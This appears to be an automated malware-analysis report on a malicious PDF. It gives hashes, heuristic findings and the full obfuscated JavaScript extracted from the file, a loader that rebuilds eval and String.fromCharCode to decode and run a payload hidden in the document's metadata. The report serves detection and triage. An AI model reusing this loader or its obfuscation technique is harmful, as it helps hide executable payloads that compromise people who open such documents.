Malicious PDF — malware analysis report

Static analysis result for SHA-256 aad442f3ab288f93…

MALICIOUS

PDF

26.0 KB Created: 2011-04-07 09:11:30 Authoring application: Adobe InDesign CS2 (4.2.2) (via AL+$LStOL~ZrinFP*!Ag.OL~ZfAL+$LromFP*!ACharCOL~ZodeAL+$L) First seen: 2013-08-26
MD5: 4ec68c3a0ced8e1e6b1c88405d5886b0 SHA-1: cac2b8a1ca05ecc00effd0b5add79a627e8308c4 SHA-256: aad442f3ab288f93645213a75ba685e3692ad5fd2386be8ea1434406533b8e27
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a PDF_EVAL heuristic firing suggests that the JavaScript is obfuscated and likely uses eval() to execute its content. The extracted artifact 'javascript_obj0001_000.js' is also noted as suspicious due to script obfuscation indicators. The primary attack pattern is likely the execution of malicious JavaScript embedded within the PDF, which could lead to further exploitation or payload delivery. The confidence is moderate due to the obfuscation making a definitive analysis of the script's exact function difficult.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    vba='.tit2015'.replace(nzxwn,'le');
    eval('qru=t'+xmn+vba);
    drj=('omnsub2015pth').replace(nzxwn,'je');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xC6 1382 bytes
SHA-256: f80462049cea4fa63af10e4a8671d75bea6e7a96f0e07b835ca4cdcd03713f9f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sdfqk='';
ztp='';
hdkx='';
ocxrj=1;
nzxwn=2015;
lfni=nzxwn-ocxrj;
mgrj=11;
omn='AL+$L';
gwok=nzxwn-mgrj;
var h = nzxwn-2013;
gwok=mgrj+2013-2007;
pth='OL~Z';
var x = nzxwn-2007;
var rlz='rxdqe';
wqs='FP*!A';
mqzv=gwok-2007;
xmn='2015s'.replace(nzxwn,'hi');
vba='.tit2015'.replace(nzxwn,'le');
eval('qru=t'+xmn+vba);
drj=('omnsub2015pth').replace(nzxwn,'je');
drj=drj.replace('omn','');
drj=drj.replace('pth','ct');
eval('jcvhe=t'+xmn+'.'+drj);
jcvhe=jcvhe.replace(nzxwn,'al');
jcvhe=jcvhe.replace(rlz,'e');
eval(eval('ecgio=t'+xmn));
eval('osaza=ecgio[jcvhe]');
nplpx='.pro2015cer';
nplpx=osaza('nplpx.replace(nzxwn,"du")');
eval('lyukg=t'+xmn+nplpx);
ztp=gwok+'mqzv';
dia=ztp+'mqzv';
lfni=dia+'ztp';
tcepx=lfni+'lfni';
lyukg=lyukg.replace(omn,'');
gwok=gwok+'mqzv';
lyukg=lyukg.replace(pth,'');
mqzv=gwok+'pth'+'(omn)';
lyukg=lyukg.replace(wqs,'');
abjz='hgkjk'+'wqs'+'(pth)';
hgkjk=abjz+'omn'+'(wqs)';
lyukg=lyukg.replace(omn,'');
hgkjk='pth'+rlz+mqzv;
lyukg=lyukg.replace(pth,'');
kvi='hgkjk'+'hgkjk'+wqs;
lyukg=lyukg.replace(wqs,'');
hgkjk=abjz+'omn'+'(nzxwn)'
lyukg=lyukg.replace(omn,'');
ztp='kvi'+'kvi'+omn;
lyukg=lyukg.replace(pth,'');
dia='ztp'+'kvi'+pth;
lyukg=lyukg.replace(wqs,'');
sqw=osaza(lyukg);
fjzj = qru.split(',');
for (xmeya = mgrj; xmeya < fjzj.length; xmeya++) {
  epv = osaza(fjzj[xmeya]);
  hdkx += sqw(epv);
}
kvi=nplpx+'2015ztp';
osaza(hdkx);
kvi='dia';